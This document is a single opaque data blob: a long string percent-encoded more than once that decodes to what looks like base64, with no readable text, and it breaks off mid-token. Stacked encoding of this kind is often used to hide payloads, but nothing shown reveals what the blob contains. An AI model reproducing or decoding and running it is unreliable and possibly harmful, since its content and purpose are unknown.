%34%33%25%34%39%25%33%30%25%32%62%25%36%64%25%34%63%25%33%30%25%34%38%25%33%39%25%34%34%25%35%38%25%37%61%25%34%66%25%35%37%25%37%36%25%33%33%25%32%62%25%34%38%25%35%38%25%35%36%25%34%33%25%37%61%25%34%62%25%37%30%25%32%62%25%34%38%25%36%34%25%34%66%25%37%33%25%33%35%25%35%39%25%36%32%25%34%32%25%34%65%25%35%35%25%34%61%25%32%66%25%37%30%25%37%38%25%36%66%25%35%36%25%35%33%25%35%37%25%35%39%25%34%34%25%34%63%25%35%33%25%34%61%25%34%32%25%34%34%25%34%66%25%36%61%25%32%66%25%33%36%25%36%63%25%36%36%25%34%65%25%34%36%25%35%33%25%33%38%25%34%65%25%35%32%25%36%35%25%36%31%25%37%32%25%37%61%25%36%38%25%33%37%25%32%62%25%34%36%25%36%65%25%34%34%25%33%38%25%37%33%25%37%33%25%34%36%25%37%33%25%33%39%25%36%64%25%37%36%25%35%36%25%35%38%25%33%34%25%35%36%25%33%39%25%35%31%25%35%32%25%35%38%25%33%31%25%37%34%25%34%31%25%33%35%25%34%39%25%36%33%25%35%32%25%34%63%25%36%38%25%34%61%25%35%34%25%36%64%25%33%39%25%35%32%25%35%31%25%34%64%25%37%31%25%36%65%25%36%62%25%33%32%25%34%35%25%36%31%25%35%31%25%33%30%25%34%32%25%33%38%25%33%31%25%37%30%25%37%35%25%34%32%25%36%35%25%35%33%25%37%32%25%37%31%25%37%33%25%37%33%25%36%39%25%34%34%25%34%37%25%34%62%25%33%35%25%34%33%25%36%31%25%36%37%25%34%37%25%33%39%25%33%31%25%35%37%25%36%65%25%36%61%25%33%31%25%36%64%25%34%62%25%34%66%25%35%38%25%34%38%25%33%37%25%32%62%25%35%35%25%33%30%25%36%61%25%33%38%25%32%66%25%34%37%25%37%30%25%33%36%25%33%32%25%34%36%25%34%61%25%36%37%25%36%64%25%34%36%25%35%33%25%35%32%25%37%37%25%33%38%25%32%66%25%32%66%25%37%31%25%37%39%25%37%32%25%34%36%25%34%62%25%36%33%25%33%30%25%37%61%25%34%36%25%36%39%25%37%35%25%36%66%25%32%66%25%33%34%25%33%31%25%32%62%25%34%63%25%37%35%25%35%32%25%35%61%25%35%34%25%34%37%25%34%37%25%35%34%25%36%38%25%35%33%25%36%34%25%33%36%25%34%64%25%36%35%25%37%30%25%36%36%25%36%39%25%37%33%25%34%61%25%35%31%25%35%35%25%36%39%25%34%37%25%35%61%25%34%62%25%36%32%25%37%34%25%35%39%25%34%35%25%34%66%25%34%32%25%35%61%25%32%66%25%36%64%25%35%39%25%33%34%25%36%39%25%34%63%25%36%38%25%37%39%25%35%36%25%34%38%25%36%38%25%33%34%25%36%65%25%37%34%25%34%62%25%36%65%25%33%34%25%34%32%25%34%61%25%35%31%25%36%63%25%37%39%25%34%62%25%36%36%25%32%62%25%36%39%25%35%34%25%36%61%25%36%36%25%34%37%25%33%36%25%34%62%25%33%37%25%36%61%25%37%39%25%33%38%25%34%32%25%37%61%25%34%61%25%37%33%25%34%65%25%32%62%25%36%63%25%34%62%25%34%35%25%33%34%25%37%35%25%35%33%25%35%36%25%32%66%25%36%63%25%36%38%25%35%30%25%35%61%25%36%65%25%35%39%25%35%39%25%36%34%25%36%36%25%34%37%25%37%61%25%35%34%25%37%61%25%36%64%25%37%34%25%35%35%25%36%65%25%36%34%25%35%33%25%35%32%25%37%61%25%36%64%25%36%61%25%34%38%25%36%64%25%37%61%25%36%65%25%35%39%25%36%62%25%33%34%25%36%37%25%36%65%25%34%34%25%36%66%25%36%65%25%32%66%25%37%35%25%37%61%25%34%37%25%33%36%25%33%34%25%34%36%25%32%62%25%33%33%25%32%62%25%36%64%25%36%33%25%37%38%25%34%31%25%36%33%25%36%33%25%35%33%25%36%32%25%34%66%25%36%65%25%36%61%25%36%35%25%34%34%25%37%39%25%35%33%25%34%36%25%33%31%25%35%61%25%33%33%25%34%65%25%37%35%25%33%36%25%37%33%25%33%37%25%36%65%25%37%30%25%36%64%25%35%33%25%36%33%25%35%61%25%33%38%25%35%38%25%34%38%25%34%63%25%32%62%25%33%31%25%36%61%25%37%39%25%36%39%25%34%38%25%33%32%25%34%63%25%34%34%25%37%32%25%36%64%25%35%33%25%37%30%25%33%35%25%36%34%25%33%33%25%34%62%25%33%35%25%36%64%25%32%66%25%34%34%25%34%61%25%36%34%25%35%36%25%36%34%25%37%34%25%34%65%25%37%36%25%36%36%25%35%37%25%35%36%25%33%37%25%34%35%25%37%32%25%37%30%25%36%62%25%34%34%25%35%34%25%33%39%25%34%36%25%33%34%25%36%31%25%33%36%25%37%36%25%35%38%25%36%39%25%33%32%25%34%62%25%37%38%25%36%64%25%36%61%25%37%61%25%33%32%25%34%62%25%37%32%25%34%36%25%37%36%25%37%34%25%36%36%25%33%36%25%32%62%25%34%38%25%36%64%25%36%35%25%37%36%25%33%37%25%34%66%25%37%34%25%35%39%25%33%35%25%36%35%25%36%36%25%34%35%25%33%31%25%36%64%25%37%30%25%36%36%25%33%34%25%35%38%25%34%31%25%35%38%25%35%36%25%33%36%25%36%65%25%37%30%25%34%61%25%34%39%25%32%66%25%34%61%25%36%35%25%33%36%25%34%62%25%35%30%25%33%38%25%37%61%25%36%66%25%36%63%25%33%33%25%35%61%25%34%38%25%33%34%25%33%36%25%36%64%25%37%30%25%34%38%25%33%37%25%37%61%25%33%32%25%36%32%25%37%30%25%36%65%25%34%31%25%34%39%25%37%37%25%37%34%25%34%38%25%33%33%25%33%36%25%35%39%25%37%39%25%37%30%25%36%65%25%33%37%25%35%61%25%37%38%25%37%32%25%33%34%25%36%32%25%36%63%25%33%33%25%34%35%25%32%62%25%35%33%25%33%30%25%34%39%25%32%62%25%33%34%25%36%39%25%35%38%25%36%61%25%36%65%25%34%65%25%33%36%25%34%38%25%37%35%25%35%35%25%36%62%25%37%39%25%33%38%25%37%31%25%36%63%25%36%39%25%33%32%25%36%34%25%37%35%25%35%61%25%36%61%25%34%36%25%35%32%25%35%36%25%37%39%25%37%39%25%35%39%25%34%62%25%36%66%25%33%32%25%35%34%25%34%62%25%36%64%25%33%39%25%37%30%25%34%62%25%34%36%25%36%65%25%34%64%25%33%34%25%36%64%25%36%33%25%37%30%25%33%34%25%32%66%25%33%37%25%34%36%25%32%62%25%34%37%25%34%39%25%35%31%25%33%37%25%37%35%25%34%32%25%35%35%25%36%36%25%36%61%25%37%33%25%35%34%25%36%64%25%35%36%25%35%38%25%35%35%25%35%32%25%37%35%25%34%62%25%33%35%25%35%31%25%35%32%25%33%37%25%33%32%25%37%38%25%34%35%25%37%31%25%34%64%25%35%34%25%36%62%25%33%33%25%34%35%25%37%33%25%32%66%25%33%38%25%34%39%25%33%32%25%36%66%25%36%62%25%35%36%25%33%35%25%36%38%25%35%31%25%37%61%25%34%65%25%34%66%25%36%64%25%34%36%25%36%64%25%35%37%25%36%38%25%36%64%25%35%61%25%36%33%25%37%35%25%35%38%25%33%35%25%35%35%25%36%37%25%33%34%25%34%64%25%37%35%25%34%37%25%33%37%25%35%36%25%35%35%25%33%34%25%35%37%25%37%39%25%33%37%25%36%65%25%37%31%25%36%65%25%35%36%25%34%34%25%34%37%25%36%62%25%35%39%25%35%33%25%36%65%25%33%38%25%36%33%25%32%62%25%34%61%25%36%61%25%34%38%25%37%31%25%36%32%25%36%37%25%36%63%25%36%65%25%37%39%25%35%33%25%37%31%25%35%36%25%33%36%25%35%36%25%36%33%25%34%61%25%35%35%25%33%32%25%35%30%25%35%32%25%34%37%25%35%30%25%37%33%25%36%39%25%36%35%25%34%64%25%37%35%25%35%31%25%33%33%25%35%37%25%34%36%25%35%37%25%35%33%25%33%37%25%35%30%25%35%35%25%36%62%25%34%32%25%37%34%25%35%31%25%36%66%25%35%31%25%32%66%25%33%30%25%36%38%25%37%39%25%36%37%25%36%36%25%35%37%25%33%30%25%37%34%25%34%38%25%37%36%25%33%31%25%35%31%25%37%38%25%35%36%25%34%31%25%35%30%25%35%35%25%36%62%25%37%35%25%36%62%25%37%31%25%35%33%25%35%36%25%36%36%25%34%32%25%37%36%25%35%31%25%37%39%25%34%32%25%35%36%25%35%38%25%34%36%25%33%36%25%34%39%25%37%31%25%36%38%25%33%30%25%35%61%25%35%38%25%34%39%25%36%61%25%34%33%25%34%61%25%35%32%25%34%63%25%33%36%25%37%61%25%37%38%25%37%35%25%33%37%25%35%31%25%34%35%25%37%39%25%35%33%25%35%37%25%35%61%25%34%33%25%33%34%25%36%62%25%32%62%25%35%33%25%34%66%25%34%34%25%35%31%25%34%63%25%35%35%25%36%66%25%35%34%25%35%34%25%36%31%25%35%35%25%34%33%25%37%32%25%36%63%25%37%35%25%33%33%25%36%62%25%33%37%25%36%66%25%34%61%25%35%32%25%33%32%25%36%63%25%32%66%25%35%35%25%37%36%25%37%33%25%35%32%25%36%31%25%37%32%25%36%37%25%35%34%25%33%30%25%33%32%25%36%35%25%33%34%25%35%31%25%33%38%25%33%37%25%37%31%25%36%34%25%35%38%25%36%63%25%37%39%25%32%62%25%33%39%25%37%61%25%34%36%25%36%37%25%36%66%25%35%61%25%36%34%25%37%36%25%37%35%25%36%65%25%34%39%25%33%36%25%36%32%25%35%33%25%37%38%25%36%36%25%36%62%25%35%35%25%33%31%25%34%65%25%34%38%25%37%37%25%34%64%25%37%34%25%36%66%25%37%34%25%33%31%25%34%39%25%35%39%25%36%65%25%36%37%25%36%32%25%35%34%25%37%30%25%37%35%25%33%33%25%36%33%25%34%33%25%36%64%25%34%63%25%35%34%25%33%32%25%34%63%25%34%39%25%32%66%25%33%39%25%37%32%25%34%61%25%34%64%25%36%62%25%33%34%25%34%66%25%34%37%25%36%32%25%36%62%25%37%30%25%36%61%25%34%62%25%34%63%25%37%39%25%34%62%25%36%34%25%35%38%25%37%30%25%32%66%25%37%33%25%36%37%25%37%38%25%36%35%25%35%61%25%34%35%25%35%33%25%35%36%25%33%38%25%35%31%25%34%34%25%34%61%25%34%36%25%35%35%25%34%64%25%36%33%25%33%31%25%36%61%25%34%64%25%34%65%25%37%61%25%34%63%25%35%34%25%34%38%25%36%33%25%36%62%25%36%39%25%35%33%25%34%66%25%34%64%25%34%63%25%35%37%25%36%64%25%36%35%25%35%39%25%34%32%25%33%33%25%36%61%25%34%38%25%33%34%25%34%66%25%36%34%25%37%34%25%35%34%25%36%66%25%35%33%25%36%39%25%33%38%25%35%61%25%37%38%25%35%31%25%36%64%25%36%62%25%34%34%25%34%31%25%37%39%25%36%32%25%37%35%25%33%35%25%34%64%25%35%34%25%36%32%25%37%34%25%36%65%25%36%36%25%34%35%25%37%34%25%35%61%25%37%61%25%35%34%25%34%34%25%34%38%25%34%37%25%33%37%25%32%62%25%35%36%25%35%34%25%36%32%25%34%34%25%34%64%25%36%65%25%33%36%25%37%38%25%36%36%25%33%35%25%33%31%25%35%35%25%36%66%25%34%37%25%34%37%25%36%64%25%36%32%25%33%30%25%34%31%25%34%37%25%35%31%25%34%39%25%36%38%25%33%34%25%36%37%25%34%66%25%35%37%25%35%30%25%34%39%25%33%37%25%36%63%25%33%36%25%36%32%25%33%36%25%36%32%25%36%32%25%35%39%25%32%66%25%35%61%25%34%38%25%34%37%25%36%62%25%35%61%25%36%62%25%33%33%25%37%35%25%34%65%25%33%36%25%35%35%25%36%31%25%33%32%25%36%63%25%32%66%25%34%66%25%34%31%25%37%31%25%36%63%25%37%34%25%36%61%25%37%33%25%36%61%25%33%36%25%33%37%25%33%37%25%36%61%25%36%37%25%35%38%25%36%64%25%36%31%25%33%33%25%34%39%25%34%36%25%34%35%25%34%64%25%36%37%25%34%35%25%36%32%25%32%62%25%36%32%25%33%38%25%37%38%25%35%31%25%35%33%25%34%37%25%36%39%25%34%62%25%33%30%25%36%64%25%35%31%25%33%36%25%36%39%25%35%39%25%34%35%25%36%37%25%36%65%25%36%61%25%35%30%25%37%32%25%37%33%25%37%31%25%37%38%25%35%36%25%37%35%25%37%37%25%36%64%25%37%37%25%34%36%25%37%38%25%35%61%25%35%37%25%33%33%25%34%32%25%37%30%25%34%63%25%37%33%25%33%30%25%36%66%25%33%35%25%34%61%25%36%33%25%36%37%25%37%30%25%33%38%25%36%66%25%33%30%25%36%38%25%34%38%25%34%38%25%33%33%25%35%34%25%35%33%25%34%61%25%34%39%25%34%32%25%34%61%25%35%30%25%36%38%25%35%61%25%34%36%25%37%32%25%35%35%25%36%65%25%36%65%25%34%36%25%35%36%25%35%35%25%36%39%25%37%61%25%34%61%25%34%62%25%34%64%25%37%37%25%34%34%25%34%62%25%35%32%25%36%38%25%37%35%25%37%31%25%37%36%25%34%61%25%34%32%25%37%33%25%35%30%25%36%64%25%35%37%25%34%33%25%32%66%25%34%64%25%34%65%25%36%63%25%33%36%25%37%35%25%32%66%25%37%37%25%34%66%25%37%30%25%36%31%25%36%39%25%34%37%25%34%65%25%35%34%25%35%33%25%37%39%25%33%30%25%33%31%25%34%65%25%35%34%25%35%37%25%33%31%25%33%31%25%34%37%25%33%37%25%37%31%25%32%66%25%36%31%25%37%31%25%36%63%25%37%36%25%36%31%25%32%66%25%34%35%25%36%36%25%32%66%25%36%61%25%35%35%25%35%35%25%33%30%25%33%39%25%36%34%25%35%38%25%35%36%25%33%31%25%36%34%25%35%38%25%35%34%25%33%33%25%33%30%25%35%37%25%36%39%25%34%61%25%36%63%25%34%37%25%34%62%25%35%39%25%34%64%25%35%35%25%32%62%25%34%37%25%33%38%25%36%66%25%37%33%25%35%30%25%35%37%25%33%35%25%34%64%25%35%32%25%35%37%25%33%37%25%36%33%25%35%33%25%35%37%25%33%34%25%33%38%25%35%33%25%35%37%25%37%31%25%35%37%25%37%36%25%36%61%25%33%36%25%35%31%25%35%36%25%33%36%25%36%39%25%34%65%25%34%32%25%37%34%25%33%35%25%35%30%25%32%66%25%37%32%25%36%62%25%34%34%25%33%32%25%35%33%25%33%33%25%37%31%25%33%39%25%36%39%25%37%33%25%34%31%25%36%32%25%35%34%25%33%32%25%37%35%25%36%61%25%36%36%25%33%35%25%37%61%25%33%32%25%35%37%25%36%38%25%36%62%25%36%61%25%33%38%25%34%35%25%35%37%25%37%36%25%34%36%25%34%61%25%34%37%25%35%38%25%34%62%25%35%36%25%33%32%25%36%62%25%35%39%25%32%62%25%36%66%25%36%39%25%36%38%25%36%61%25%33%37%25%36%64%25%35%61%25%36%64%25%33%33%25%34%64%25%37%61%25%36%31%25%32%62%25%35%36%25%34%66%25%35%61%25%37%36%25%35%36%25%36%36%25%33%31%25%32%62%25%35%34%25%37%38%25%34%32%25%36%32%25%37%31%25%35%30%25%33%30%25%34%34%25%33%32%25%36%62%25%36%32%25%37%31%25%34%65%25%36%66%25%35%31%25%36%63%25%34%64%25%34%65%25%33%37%25%35%38%25%34%38%25%36%64%25%32%66%25%32%66%25%34%35%25%36%38%25%36%62%25%35%61%25%36%37%25%36%63%25%37%36%25%34%62%25%33%37%25%34%35%25%33%39%25%33%38%25%35%61%25%37%39%25%34%62%25%36%63%25%35%61%25%34%36%25%33%31%25%34%35%25%36%62%25%36%39%25%35%38%25%33%37%25%36%62%25%36%31%25%37%32%25%33%38%25%36%34%25%34%36%25%37%37%25%35%37%25%36%64%25%37%34%25%35%32%25%34%34%25%35%33%25%35%30%25%34%39%25%37%61%25%36%64%25%36%64%25%37%30%25%35%33%25%36%37%25%32%66%25%36%38%25%33%36%25%33%37%25%35%31%25%36%64%25%33%30%25%34%63%25%34%65%25%36%64%25%37%61%25%35%37%25%33%31%25%33%33%25%36%62%25%36%38%25%36%61%25%37%36%25%33%33%25%37%30%25%34%37%25%34%63%25%34%65%25%34%66%25%34%37%25%33%38%25%37%31%25%35%32%25%37%39%25%32%66%25%35%32%25%35%31%25%37%31%25%34%36%25%36%65%25%37%32%25%37%30%25%34%63%25%35%39%25%34%61%25%37%35%25%36%35%25%37%34%25%34%64%25%36%64%25%33%39%25%35%31%25%34%62%25%34%36%25%35%34%25%37%34%25%37%31%25%35%30%25%33%32%25%36%39%25%37%39%25%35%61%25%36%31%25%35%61%25%36%35%25%36%39%25%35%61%25%37%34%25%35%61%25%35%61%25%34%65%25%36%64%25%36%66%25%35%33%25%37%34%25%35%61%25%35%32%25%35%34%25%37%33%25%33%39%25%36%66%25%33%38%25%32%66%25%36%65%25%34%66%25%35%34%25%37%38%25%37%61%25%33%39%25%34%34%25%35%33%25%36%36%25%36%33%25%35%32%25%34%34%25%34%65%25%35%31%25%33%39%25%34%61%25%34%31%25%35%30%25%34%37%25%37%34%25%33%36%25%34%35%25%32%62%25%33%35%25%37%39%25%35%39%25%35%34%25%37%38%25%36%63%25%36%64%25%35%31%25%36%31%25%36%31%25%32%62%25%36%37%25%33%32%25%36%63%25%34%63%25%33%37%25%37%34%25%36%66%25%35%34%25%36%63%25%35%35%25%36%38%25%36%63%25%34%34%25%36%66%25%34%38%25%36%37%25%37%30%25%35%35%25%35%38%25%34%63%25%35%39%25%34%36%25%34%62%25%37%36%25%35%34%25%37%32%25%37%34%25%36%35%25%34%66%25%36%31%25%35%38%25%36%33%25%34%65%25%33%36%25%37%31%25%36%33%25%37%33%25%35%33%25%36%37%25%33%36%25%36%32%25%34%64%25%37%32%25%35%38%25%33%39%25%34%65%25%35%33%25%37%61%25%33%33%25%37%33%25%36%39%25%36%37%25%33%35%25%36%32%25%34%39%25%37%32%25%35%36%25%36%31%25%35%32%25%33%39%25%35%34%25%33%32%25%37%37%25%32%62%25%35%38%25%36%33%25%34%34%25%36%31%25%35%34%25%36%62%25%33%38%25%32%62%25%34%61%25%35%33%25%35%34%25%36%64%25%37%39%25%37%30%25%35%37%25%35%34%25%34%65%25%36%64%25%35%34%25%33%31%25%33%39%25%33%32%25%36%61%25%35%33%25%35%61%25%34%64%25%33%33%25%35%38%25%35%61%25%34%39%25%36%31%25%36%63%25%36%36%25%37%30%25%33%30%25%37%37%25%37%31%25%35%38%25%36%66%25%36%39%25%35%33%25%37%37%25%33%36%25%35%61%25%34%64%25%33%33%25%35%32%25%37%39%25%37%31%25%34%38%25%33%34%25%36%36%25%33%37%25%33%38%25%35%32%25%35%30%25%37%34%25%36%38%25%32%66%25%37%32%25%32%62%25%36%66%25%37%35%25%34%39%25%36%63%25%35%33%25%36%37%25%33%36%25%36%32%25%35%39%25%36%65%25%35%38%25%36%31%25%34%65%25%35%38%25%37%31%25%37%34%25%33%32%25%35%34%25%35%32%25%36%63%25%34%61%25%33%39%25%36%65%25%33%31%25%32%62%25%36%31%25%34%32%25%33%34%25%36%39%25%35%61%25%34%63%25%34%34%25%37%30%25%36%63%25%36%39%25%36%34%25%33%39%25%36%39%25%37%37%25%35%39%25%33%32%25%35%37%25%33%31%25%36%33%25%36%32%25%37%34%25%34%61%25%34%63%25%36%36%25%33%31%25%33%38%25%36%31%25%37%34%25%36%37%25%35%33%25%33%33%25%34%62%25%33%34%25%32%62%25%36%35%25%32%66%25%35%30%25%34%34%25%34%65%25%36%39%25%33%36%25%33%39%25%32%62%25%32%62%25%36%66%25%33%34%25%34%61%25%35%30%25%33%38%25%35%30%25%36%36%25%37%36%25%37%61%25%37%39%25%36%35%25%36%39%25%32%62%25%37%39%25%33%34%25%34%38%25%37%39%25%36%37%25%34%38%25%37%34%25%37%39%25%36%64%25%34%38%25%36%61%25%37%34%25%37%38%25%37%37%25%37%61%25%35%39%25%36%64%25%37%32%25%36%32%25%37%32%25%37%31%25%34%66%25%32%62%25%35%35%25%36%63%25%34%34%25%37%32%25%34%32%25%34%66%25%34%61%25%35%35%25%33%33%25%37%37%25%34%66%25%37%32%25%36%66%25%35%30%25%36%32%25%35%30%25%35%38%25%37%32%25%37%39%25%37%37%25%37%61%25%36%33%25%37%36%25%37%36%25%37%36%25%37%32%25%37%30%25%36%35%25%33%35%25%36%37%25%36%39%25%36%32%25%37%38%25%37%37%25%33%30%25%37%61%25%34%39%25%34%37%25%35%36%25%35%31%25%35%35%25%34%66%25%36%66%25%35%34%25%34%34%25%37%31%25%34%37%25%35%34%25%34%36%25%34%39%25%35%61%25%37%36%25%33%33%25%32%66%25%37%31%25%35%61%25%37%32%25%34%39%25%37%38%25%36%35%25%34%65%25%35%32%25%36%36%25%32%66%25%37%39%25%37%32%25%34%33%25%34%32%25%33%32%25%34%33%25%36%63%25%37%39%25%32%62%25%37%37%25%35%39%25%37%34%25%37%61%25%37%36%25%33%33%25%34%38%25%36%36%25%33%35%25%36%38%25%36%36%25%34%39%25%36%38%25%33%36%25%37%37%25%34%33%25%36%63%25%36%37%25%36%36%25%35%31%25%37%61%25%33%38%25%34%37%25%34%31%25%33%34%25%34%32%25%36%61%25%35%37%25%36%64%25%36%31%25%37%34%25%35%39%25%36%38%25%35%34%25%37%35%25%36%62%25%36%34%25%33%30%25%33%32%25%36%33%25%34%34%25%36%32%25%35%36%25%36%63%25%36%36%25%36%65%25%36%63%25%36%37%25%35%33%25%35%33%25%34%39%25%37%34%25%32%66%25%35%32%25%34%34%25%34%62%25%35%32%25%33%36%25%33%36%25%34%65%25%37%38%25%36%36%25%35%34%25%36%66%25%36%36%25%37%31%25%36%31%25%36%63%25%36%35%25%37%32%25%36%34%25%35%35%25%33%33%25%35%38%25%37%30%25%33%36%25%34%66%25%33%32%25%37%37%25%33%30%25%33%31%25%36%38%25%33%39%25%36%33%25%35%34%25%36%64%25%36%66%25%33%37%25%32%62%25%35%36%25%36%35%25%36%39%25%35%61%25%34%31%25%37%38%25%35%38%25%34%38%25%35%61%25%34%36%25%35%37%25%36%33%25%33%37%25%35%39%25%37%61%25%37%34%25%36%61%25%33%31%25%33%31%25%37%39%25%33%37%25%35%61%25%37%34%25%36%62%25%33%31%25%33%30%25%33%36%25%33%36%25%37%30%25%36%34%25%37%32%25%35%36%25%34%61%25%34%31%25%35%35%25%34%39%25%36%39%25%35%61%25%35%61%25%36%33%25%36%34%25%37%39%25%37%61%25%36%35%25%36%62%25%36%39%25%36%63%25%36%61%25%33%30%25%35%39%25%37%35%25%36%32%25%34%34%25%35%61%25%35%32%25%37%37%25%34%36%25%33%36%25%35%33%25%32%62%25%34%38%25%34%33%25%37%39%25%37%38%25%36%62%25%34%35%25%34%31%25%33%38%25%34%38%25%33%31%25%36%64%25%33%36%25%35%34%25%35%37%25%33%37%25%35%36%25%35%61%25%37%33%25%36%38%25%33%36%25%36%39%25%32%62%25%34%35%25%36%38%25%36%35%25%35%32%25%33%39%25%36%35%25%35%32%25%37%30%25%34%61%25%35%35%25%33%32%25%34%66%25%36%62%25%36%62%25%36%31%25%34%63%25%36%39%25%33%33%25%37%33%25%35%31%25%34%34%25%33%33%25%36%66%25%37%33%25%36%63%25%37%31%25%36%63%25%37%36%25%34%66%25%37%36%25%36%34%25%37%61%25%34%62%25%36%36%25%37%61%25%34%31%25%34%35%25%35%38%25%37%32%25%34%31%25%34%34%25%34%62%25%33%32%25%36%35%25%36%64%25%36%38%25%37%61%25%33%36%25%35%32%25%36%66%25%36%64%25%37%32%25%33%35%25%33%36%25%37%30%25%37%37%25%36%64%25%36%64%25%33%31%25%36%65%25%37%34%25%35%61%25%37%34%25%35%35%25%34%31%25%34%61%25%35%31%25%34%36%25%37%61%25%36%63%25%33%35%25%36%34%25%35%30%25%35%38%25%35%36%25%37%33%25%36%32%25%36%64%25%34%31%25%34%36%25%34%62%25%34%31%25%35%30%25%37%38%25%34%62%25%33%37%25%33%33%25%35%33%25%34%66%25%34%37%25%33%37%25%37%33%25%35%61%25%33%30%25%35%31%25%33%39%25%35%33%25%36%61%25%34%39%25%33%32%25%37%32%25%36%39%25%33%36%25%36%38%25%35%33%25%34%37%25%35%61%25%33%32%25%33%30%25%35%61%25%32%66%25%33%35%25%35%39%25%36%38%25%33%39%25%37%34%25%36%34%25%33%39%25%36%66%25%37%36%25%33%31%25%36%31%25%35%31%25%36%37%25%37%36%25%33%32%25%37%37%25%36%36%25%35%61%25%33%31%25%34%35%25%34%61%25%34%31%25%34%66%25%33%36%25%37%61%25%37%33%25%33%35%25%33%38%25%32%62%25%36%37%25%34%35%25%35%33%25%33%39%25%34%31%25%36%66%25%35%33%25%37%36%25%34%31%25%32%66%25%37%36%25%37%37%25%36%32%25%37%36%25%37%61%25%35%61%25%37%30%25%33%36%25%34%32%25%34%34%25%34%61%25%35%61%25%37%38%25%36%66%25%37%33%25%34%62%25%35%37%25%37%33%25%34%66%25%34%65%25%35%30%25%33%31%25%36%63%25%35%61%25%36%61%25%35%61%25%34%32%25%33%32%25%32%62%25%33%39%25%37%32%25%36%65%25%34%63%25%37%30%25%37%38%25%37%30%25%35%38%25%32%62%25%36%64%25%33%39%25%36%65%25%36%36%25%37%33%25%35%38%25%33%38%25%37%39%25%36%34%25%37%30%25%37%31%25%36%64%25%34%63%25%37%38%25%37%33%25%37%35%25%35%39%25%36%65%25%35%38%25%33%37%25%36%36%25%37%39%25%34%62%25%32%62%25%35%61%25%34%66%25%33%31%25%33%31%25%35%32%25%36%38%25%35%61%25%36%38%25%33%36%25%33%38%25%37%33%25%35%36%25%32%62%25%35%31%25%36%35%25%33%34%25%34%66%25%33%33%25%34%39%25%35%34%25%33%34%25%33%38%25%32%62%25%33%38%25%35%31%25%32%66%25%35%34%25%37%31%25%37%39%25%33%32%25%34%62%25%35%37%25%33%34%25%34%66%25%36%39%25%37%37%25%34%31%25%35%38%25%37%33%25%35%35%25%33%37%25%37%36%25%34%31%25%36%63%25%37%37%25%37%34%25%36%33%25%33%38%25%34%31%25%33%38%25%35%30%25%32%66%25%34%37%25%34%34%25%36%33%25%37%37%25%34%38%25%35%36%25%35%32%25%36%36%25%34%63%25%36%37%25%36%62%25%35%37%25%34%63%25%36%62%25%33%37%25%35%33%25%36%39%25%34%61%25%35%32%25%35%34%25%37%30%25%33%31%25%33%31%25%35%31%25%37%30%25%34%35%25%37%32%25%36%33%25%32%62%25%33%33%25%34%61%25%36%32%25%34%32%25%33%33%25%33%33%25%34%32%25%34%63%25%33%30%25%35%34%25%35%61%25%36%35%25%37%61%25%33%32%25%37%35%25%36%31%25%35%35%25%36%34%25%36%36%25%33%37%25%34%62%25%33%32%25%34%37%25%36%39%25%36%32%25%35%30%25%37%32%25%37%61%25%36%61%25%37%38%25%32%62%25%36%64%25%34%65%25%36%33%25%36%36%25%37%30%25%36%33%25%36%36%25%37%35%25%34%61%25%35%34%25%34%33%25%34%35%25%34%38%25%34%65%25%37%34%25%34%36%25%36%38%25%36%66%25%36%61%25%33%36%25%32%66%25%34%33%25%33%31%25%37%61%25%37%38%25%35%36%25%32%62%25%34%65%25%37%61%25%35%39%25%33%31%25%35%37%25%36%35%25%37%35%25%36%34%25%34%35%25%36%64%25%35%38%25%37%32%25%33%35%25%32%66%25%35%33%25%35%37%25%36%34%25%37%36%25%37%61%25%34%61%25%33%32%25%36%64%25%37%31%25%34%64%25%37%32%25%34%64%25%34%66%25%35%38%25%34%66%25%36%65%25%36%34%25%36%64%25%37%38%25%36%66%25%37%39%25%37%34%25%37%32%25%33%37%25%34%32%25%36%32%25%33%32%25%37%36%25%34%35%25%36%65%25%36%31%25%33%36%25%37%33%25%37%38%25%37%33%25%36%37%25%33%35%25%36%36%25%36%63%25%34%33%25%37%34%25%36%37%25%37%33%25%35%38%25%36%38%25%33%39%25%33%35%25%35%34%25%34%35%25%35%38%25%36%34%25%37%36%25%37%61%25%34%61%25%33%32%25%36%64%25%37%31%25%34%64%25%37%32%25%34%64%25%35%30%25%35%38%25%34%62%25%33%31%25%36%34%25%36%62%25%33%36%25%32%62%25%36%36%25%35%39%25%32%62%25%36%64%25%37%31%25%33%33%25%37%34%25%34%66%25%34%65%25%35%30%25%33%31%25%36%63%25%35%61%25%36%61%25%35%61%25%34%37%25%33%32%25%36%36%25%35%34%25%34%64%25%33%33%25%36%39%25%33%35%25%33%35%25%34%62%25%32%66%25%34%37%25%37%35%25%35%35%25%37%36%25%35%34%25%34%34%25%37%35%25%35%35%25%36%37%25%36%63%25%35%35%25%34%65%25%33%35%25%36%34%25%37%35%25%35%34%25%37%33%25%35%34%25%34%62%25%33%33%25%33%35%25%34%33%25%35%30%25%35%31%25%34%64%25%36%34%25%34%35%25%37%34%25%36%64%25%36%38%25%37%31%25%34%62%25%34%34%25%37%32%25%37%31%25%36%36%25%36%39%25%35%35%25%36%65%25%36%66%25%36%38%25%35%34%25%34%38%25%35%34%25%36%38%25%36%39%25%35%61%25%37%32%25%37%61%25%36%31%25%36%33%25%33%30%25%35%34%25%35%37%25%37%33%25%36%31%25%35%61%25%33%35%25%33%33%25%34%35%25%33%34%25%37%34%25%33%31%25%36%61%25%37%31%25%34%63%25%35%37%25%37%34%25%33%34%25%33%35%25%35%38%25%33%33%25%35%34%25%34%36%25%33%35%25%37%34%25%33%37%25%35%35%25%35%33%25%33%37%25%33%38%25%36%33%25%34%34%25%34%63%25%35%31%25%36%64%25%35%31%25%33%36%25%37%61%25%37%38%25%34%33%25%33%34%25%33%37%25%33%36%25%35%33%25%34%33%25%35%31%25%35%33%25%36%34%25%37%33%25%34%66%25%34%62%25%35%37%25%36%38%25%34%39%25%37%32%25%33%34%25%36%36%25%37%34%25%35%39%25%34%65%25%37%39%25%33%37%25%37%39%25%33%30%25%36%36%25%37%35%25%36%31%25%34%64%25%36%66%25%36%38%25%34%37%25%37%34%25%36%37%25%35%37%25%36%61%25%35%37%25%37%35%25%37%30%25%36%64%25%35%33%25%36%66%25%35%33%25%36%33%25%33%35%25%35%34%25%36%61%25%34%33%25%36%39%25%35%37%25%37%36%25%34%32%25%36%62%25%34%66%25%37%30%25%33%38%25%34%65%25%37%37%25%37%37%25%33%35%25%33%30%25%37%35%25%34%37%25%34%35%25%34%36%25%34%37%25%36%62%25%34%37%25%35%31%25%37%35%25%37%35%25%34%34%25%36%64%25%34%33%25%35%37%25%36%31%25%33%37%25%35%36%25%34%36%25%34%65%25